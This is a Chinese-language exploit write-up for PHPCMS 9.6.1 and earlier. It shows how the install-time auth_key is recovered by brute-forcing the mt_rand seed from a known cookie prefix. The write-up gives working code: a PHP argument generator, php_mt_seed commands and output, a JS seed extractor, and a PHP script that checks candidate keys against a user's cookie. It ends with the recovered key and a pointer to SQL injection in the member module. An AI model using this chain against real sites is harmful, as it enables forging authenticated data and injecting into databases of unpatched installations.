PHPCMS authkey泄露导致注入 影响版本<=9.6.1
漏洞详情
install/install.php 184行
if($module == 'admin') { $cookiepre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').''; $authkey = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ');
安装过程中初始化的2个随机值 一个是cookie前缀 一个是牛逼的auth_key
来看看random函数
function random($length, $chars = '0123456789') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; }
可以看到使用mt_rand来生成随机数,mt_rand有个坑 研究过的人不少 就是随机数种子不是很强可以被爆破,而且php在一次访问中只会自动播种一次种子。看上面,在这一次访问中 共调用了5+20次mt_rand 而且前5次的值可知(cookie前缀),足够我们计算出随机数种子从而自己计算auth_key的值
利用过程
首先注册个账号 记录cookie值 比如我这里
WCawd__userid : ca31n4Fe2vPbjuSQdqKSQpaTBR5L09eAGU9sATx5
oitzp就是cookie_pre,获取seed
先用个小脚本生成参数
$s = 'WCawd'; $str = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'; echo crack($s,$str); function crack($s,$str){ for($i=0;$i<strlen($s);$i++){ echo strpos($str,$s[$i])." ".strpos($str,$s[$i])." 0 51 "; } }
得到
48 48 0 51 28 28 0 51 0 0 0 51 22 22 0 51 3 3 0 51
kali系统安装开始php_mt_seed并编译一下( https://www.openwall.com/php_mt_seed/ ):
./php_mt_seed 48 48 0 51 28 28 0 51 0 0 0 51 22 22 0 51 3 3 0 51
大概3分钟后得到40多个结果
Pattern: EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 Version: 3.0.7 to 5.2.0 Found 0, trying 0x30000000 - 0x33ffffff, speed 1088.3 Mseeds/s seed = 0x31822d3a = 830614842 (PHP 3.0.7 to 5.2.0) seed = 0x31822d3b = 830614843 (PHP 3.0.7 to 5.2.0) Found 2, trying 0x34000000 - 0x37ffffff, speed 1090.5 Mseeds/s seed = 0x35981abc = 899160764 (PHP 3.0.7 to 5.2.0) seed = 0x35981abd = 899160765 (PHP 3.0.7 to 5.2.0) Found 4, trying 0x38000000 - 0x3bffffff, speed 1092.5 Mseeds/s seed = 0x38dfba62 = 954186338 (PHP 3.0.7 to 5.2.0) seed = 0x38dfba63 = 954186339 (PHP 3.0.7 to 5.2.0) Found 6, trying 0x48000000 - 0x4bffffff, speed 1041.3 Mseeds/s seed = 0x481e625c = 1209950812 (PHP 3.0.7 to 5.2.0) seed = 0x481e625d = 1209950813 (PHP 3.0.7 to 5.2.0) Found 8, trying 0x58000000 - 0x5bffffff, speed 1011.2 Mseeds/s seed = 0x594529b6 = 1497704886 (PHP 3.0.7 to 5.2.0) seed = 0x594529b7 = 1497704887 (PHP 3.0.7 to 5.2.0) Found 10, trying 0xb8000000 - 0xbbffffff, speed 976.9 Mseeds/s seed = 0xb8d29680 = 3100808832 (PHP 3.0.7 to 5.2.0) seed = 0xb8d29681 = 3100808833 (PHP 3.0.7 to 5.2.0) Found 12, trying 0xe0000000 - 0xe3ffffff, speed 999.5 Mseeds/s seed = 0xe0ee00f4 = 3773694196 (PHP 3.0.7 to 5.2.0) seed = 0xe0ee00f5 = 3773694197 (PHP 3.0.7 to 5.2.0) Found 14, trying 0xfc000000 - 0xffffffff, speed 983.2 Mseeds/s Version: 5.2.1+ Found 14, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s seed = 0x0033a1bc = 3383740 (PHP 5.2.1 to 7.0.x; HHVM) Found 15, trying 0x06000000 - 0x07ffffff, speed 26.8 Mseeds/s seed = 0x070f9096 = 118460566 (PHP 5.2.1 to 7.0.x; HHVM) Found 16, trying 0x0c000000 - 0x0dffffff, speed 32.4 Mseeds/s seed = 0x0d07b0a3 = 218607779 (PHP 7.1.0+) Found 17, trying 0x16000000 - 0x17ffffff, speed 35.9 Mseeds/s seed = 0x16dfb6a2 = 383760034 (PHP 5.2.1 to 7.0.x; HHVM) Found 18, trying 0x18000000 - 0x19ffffff, speed 36.1 Mseeds/s seed = 0x19a62dae = 430321070 (PHP 5.2.1 to 7.0.x; HHVM) Found 19, trying 0x1e000000 - 0x1fffffff, speed 36.4 Mseeds/s seed = 0x1efa080f = 519702543 (PHP 5.2.1 to 7.0.x; HHVM) Found 20, trying 0x2e000000 - 0x2fffffff, speed 38.2 Mseeds/s seed = 0x2fc05ffd = 801136637 (PHP 5.2.1 to 7.0.x; HHVM) Found 21, trying 0x30000000 - 0x31ffffff, speed 38.4 Mseeds/s seed = 0x31695f93 = 828989331 (PHP 7.1.0+) Found 22, trying 0x44000000 - 0x45ffffff, speed 38.8 Mseeds/s seed = 0x448c5807 = 1150048263 (PHP 7.1.0+) seed = 0x4466cc70 = 1147587696 (PHP 7.1.0+) Found 24, trying 0x46000000 - 0x47ffffff, speed 38.8 Mseeds/s seed = 0x47e223d6 = 1206002646 (PHP 5.2.1 to 7.0.x; HHVM) Found 25, trying 0x48000000 - 0x49ffffff, speed 38.8 Mseeds/s seed = 0x48b7e6f7 = 1220011767 (PHP 5.2.1 to 7.0.x; HHVM) Found 26, trying 0x4a000000 - 0x4bffffff, speed 38.9 Mseeds/s seed = 0x4bcea4ad = 1271833773 (PHP 5.2.1 to 7.0.x; HHVM) Found 27, trying 0x56000000 - 0x57ffffff, speed 38.7 Mseeds/s seed = 0x56bf071e = 1455359774 (PHP 5.2.1 to 7.0.x; HHVM) Found 28, trying 0x60000000 - 0x61ffffff, speed 38.7 Mseeds/s seed = 0x60fbe569 = 1627121001 (PHP 7.1.0+) Found 29, trying 0x62000000 - 0x63ffffff, speed 38.8 Mseeds/s seed = 0x623c51ed = 1648120301 (PHP 7.1.0+) Found 30, trying 0x70000000 - 0x71ffffff, speed 38.9 Mseeds/s seed = 0x71003faf = 1895841711 (PHP 5.2.1 to 7.0.x; HHVM) Found 31, trying 0x92000000 - 0x93ffffff, speed 39.4 Mseeds/s seed = 0x92f58545 = 2465563973 (PHP 7.1.0+) Found 32, trying 0x98000000 - 0x99ffffff, speed 39.3 Mseeds/s seed = 0x987ef68a = 2558457482 (PHP 5.2.1 to 7.0.x; HHVM) Found 33, trying 0xc2000000 - 0xc3ffffff, speed 39.6 Mseeds/s seed = 0xc3c2eda1 = 3284331937 (PHP 5.2.1 to 7.0.x; HHVM) Found 34, trying 0xd8000000 - 0xd9ffffff, speed 39.5 Mseeds/s seed = 0xd8270255 = 3626435157 (PHP 7.1.0+) Found 35, trying 0xde000000 - 0xdfffffff, speed 39.4 Mseeds/s seed = 0xdfe69af9 = 3756432121 (PHP 7.1.0+) Found 36, trying 0xe0000000 - 0xe1ffffff, speed 39.4 Mseeds/s seed = 0xe1908536 = 3784344886 (PHP 7.1.0+) seed = 0xe0732b18 = 3765644056 (PHP 5.2.1 to 7.0.x; HHVM) Found 38, trying 0xea000000 - 0xebffffff, speed 39.3 Mseeds/s seed = 0xeb5c31e7 = 3948687847 (PHP 7.1.0+) Found 39, trying 0xee000000 - 0xefffffff, speed 39.2 Mseeds/s seed = 0xee3c76e1 = 3996940001 (PHP 5.2.1 to 7.0.x; HHVM) Found 40, trying 0xfa000000 - 0xfbffffff, speed 39.0 Mseeds/s seed = 0xfb7cbad1 = 4219255505 (PHP 5.2.1 to 7.0.x; HHVM) Found 41, trying 0xfe000000 - 0xffffffff, speed 39.0 Mseeds/s Found 41
提取种子太麻烦了,写个自动提取的js:
var arr = []; ` Pattern: EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 EXACT-FROM-52 Version: 3.0.7 to 5.2.0 Found 0, trying 0x30000000 - 0x33ffffff, speed 1088.3 Mseeds/s seed = 0x31822d3a = 830614842 (PHP 3.0.7 to 5.2.0) seed = 0x31822d3b = 830614843 (PHP 3.0.7 to 5.2.0) Found 2, trying 0x34000000 - 0x37ffffff, speed 1090.5 Mseeds/s seed = 0x35981abc = 899160764 (PHP 3.0.7 to 5.2.0) seed = 0x35981abd = 899160765 (PHP 3.0.7 to 5.2.0) Found 4, trying 0x38000000 - 0x3bffffff, speed 1092.5 Mseeds/s seed = 0x38dfba62 = 954186338 (PHP 3.0.7 to 5.2.0) seed = 0x38dfba63 = 954186339 (PHP 3.0.7 to 5.2.0) Found 6, trying 0x48000000 - 0x4bffffff, speed 1041.3 Mseeds/s seed = 0x481e625c = 1209950812 (PHP 3.0.7 to 5.2.0) seed = 0x481e625d = 1209950813 (PHP 3.0.7 to 5.2.0) Found 8, trying 0x58000000 - 0x5bffffff, speed 1011.2 Mseeds/s seed = 0x594529b6 = 1497704886 (PHP 3.0.7 to 5.2.0) seed = 0x594529b7 = 1497704887 (PHP 3.0.7 to 5.2.0) Found 10, trying 0xb8000000 - 0xbbffffff, speed 976.9 Mseeds/s seed = 0xb8d29680 = 3100808832 (PHP 3.0.7 to 5.2.0) seed = 0xb8d29681 = 3100808833 (PHP 3.0.7 to 5.2.0) Found 12, trying 0xe0000000 - 0xe3ffffff, speed 999.5 Mseeds/s seed = 0xe0ee00f4 = 3773694196 (PHP 3.0.7 to 5.2.0) seed = 0xe0ee00f5 = 3773694197 (PHP 3.0.7 to 5.2.0) Found 14, trying 0xfc000000 - 0xffffffff, speed 983.2 Mseeds/s Version: 5.2.1+ Found 14, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s seed = 0x0033a1bc = 3383740 (PHP 5.2.1 to 7.0.x; HHVM) Found 15, trying 0x06000000 - 0x07ffffff, speed 26.8 Mseeds/s seed = 0x070f9096 = 118460566 (PHP 5.2.1 to 7.0.x; HHVM) Found 16, trying 0x0c000000 - 0x0dffffff, speed 32.4 Mseeds/s seed = 0x0d07b0a3 = 218607779 (PHP 7.1.0+) Found 17, trying 0x16000000 - 0x17ffffff, speed 35.9 Mseeds/s seed = 0x16dfb6a2 = 383760034 (PHP 5.2.1 to 7.0.x; HHVM) Found 18, trying 0x18000000 - 0x19ffffff, speed 36.1 Mseeds/s seed = 0x19a62dae = 430321070 (PHP 5.2.1 to 7.0.x; HHVM) Found 19, trying 0x1e000000 - 0x1fffffff, speed 36.4 Mseeds/s seed = 0x1efa080f = 519702543 (PHP 5.2.1 to 7.0.x; HHVM) Found 20, trying 0x2e000000 - 0x2fffffff, speed 38.2 Mseeds/s seed = 0x2fc05ffd = 801136637 (PHP 5.2.1 to 7.0.x; HHVM) Found 21, trying 0x30000000 - 0x31ffffff, speed 38.4 Mseeds/s seed = 0x31695f93 = 828989331 (PHP 7.1.0+) Found 22, trying 0x44000000 - 0x45ffffff, speed 38.8 Mseeds/s seed = 0x448c5807 = 1150048263 (PHP 7.1.0+) seed = 0x4466cc70 = 1147587696 (PHP 7.1.0+) Found 24, trying 0x46000000 - 0x47ffffff, speed 38.8 Mseeds/s seed = 0x47e223d6 = 1206002646 (PHP 5.2.1 to 7.0.x; HHVM) Found 25, trying 0x48000000 - 0x49ffffff, speed 38.8 Mseeds/s seed = 0x48b7e6f7 = 1220011767 (PHP 5.2.1 to 7.0.x; HHVM) Found 26, trying 0x4a000000 - 0x4bffffff, speed 38.9 Mseeds/s seed = 0x4bcea4ad = 1271833773 (PHP 5.2.1 to 7.0.x; HHVM) Found 27, trying 0x56000000 - 0x57ffffff, speed 38.7 Mseeds/s seed = 0x56bf071e = 1455359774 (PHP 5.2.1 to 7.0.x; HHVM) Found 28, trying 0x60000000 - 0x61ffffff, speed 38.7 Mseeds/s seed = 0x60fbe569 = 1627121001 (PHP 7.1.0+) Found 29, trying 0x62000000 - 0x63ffffff, speed 38.8 Mseeds/s seed = 0x623c51ed = 1648120301 (PHP 7.1.0+) Found 30, trying 0x70000000 - 0x71ffffff, speed 38.9 Mseeds/s seed = 0x71003faf = 1895841711 (PHP 5.2.1 to 7.0.x; HHVM) Found 31, trying 0x92000000 - 0x93ffffff, speed 39.4 Mseeds/s seed = 0x92f58545 = 2465563973 (PHP 7.1.0+) Found 32, trying 0x98000000 - 0x99ffffff, speed 39.3 Mseeds/s seed = 0x987ef68a = 2558457482 (PHP 5.2.1 to 7.0.x; HHVM) Found 33, trying 0xc2000000 - 0xc3ffffff, speed 39.6 Mseeds/s seed = 0xc3c2eda1 = 3284331937 (PHP 5.2.1 to 7.0.x; HHVM) Found 34, trying 0xd8000000 - 0xd9ffffff, speed 39.5 Mseeds/s seed = 0xd8270255 = 3626435157 (PHP 7.1.0+) Found 35, trying 0xde000000 - 0xdfffffff, speed 39.4 Mseeds/s seed = 0xdfe69af9 = 3756432121 (PHP 7.1.0+) Found 36, trying 0xe0000000 - 0xe1ffffff, speed 39.4 Mseeds/s seed = 0xe1908536 = 3784344886 (PHP 7.1.0+) seed = 0xe0732b18 = 3765644056 (PHP 5.2.1 to 7.0.x; HHVM) Found 38, trying 0xea000000 - 0xebffffff, speed 39.3 Mseeds/s seed = 0xeb5c31e7 = 3948687847 (PHP 7.1.0+) Found 39, trying 0xee000000 - 0xefffffff, speed 39.2 Mseeds/s seed = 0xee3c76e1 = 3996940001 (PHP 5.2.1 to 7.0.x; HHVM) Found 40, trying 0xfa000000 - 0xfbffffff, speed 39.0 Mseeds/s seed = 0xfb7cbad1 = 4219255505 (PHP 5.2.1 to 7.0.x; HHVM) Found 41, trying 0xfe000000 - 0xffffffff, speed 39.0 Mseeds/s Found 41 `.match(/(\d*) \(PHP/g).forEach((e)=>{ arr.push(parseInt(e)) }); console.log( arr.join(",") )
总共有44个可能的随机数种子 收集一下,PHP脚本
function authcode($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '='); } } function random($length, $chars = '0123456789') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } $seeds = array(830614842, 830614843, 899160764, 899160765, 954186338, 954186339, 1209950812, 1209950813, 1497704886, 1497704887, 3100808832, 3100808833, 3773694196, 3773694197, 3383740, 118460566, 218607779, 383760034, 430321070, 519702543, 801136637, 828989331, 1150048263, 1147587696, 1206002646, 1220011767, 1271833773, 1455359774, 1627121001, 1648120301, 1895841711, 2465563973, 2558457482, 3284331937, 3626435157, 3756432121, 3784344886, 3765644056, 3948687847, 3996940001, 4219255505); for($i=0;$i<41;$i++){ mt_srand($seeds[$i]); $cookie_pre = random(5, 'abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ').''; $auth_key = random(20, '1294567890abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ'); if (authcode("ca31n4Fe2vPbjuSQdqKSQpaTBR5L09eAGU9sATx5","DECODE",$auth_key) == "1"){ //上面的1是注册的uid //可以从index.php?m=member&c=index&a=account_manage_info&t=1拿到 echo $seeds[$i]."\n".$auth_key; } }
得到结果:
3383740 itx2SH08VgaSTw7UlY8O
拿到auth_key,根据auth_key可以利用,phpcms/modules/member/class/foreground.class.php的编码缺陷进行注入了
有一说一,即使能获取到用户名账号和加密密码, 坑爹的phpcms双重加密,让我情何以堪
天道酬勤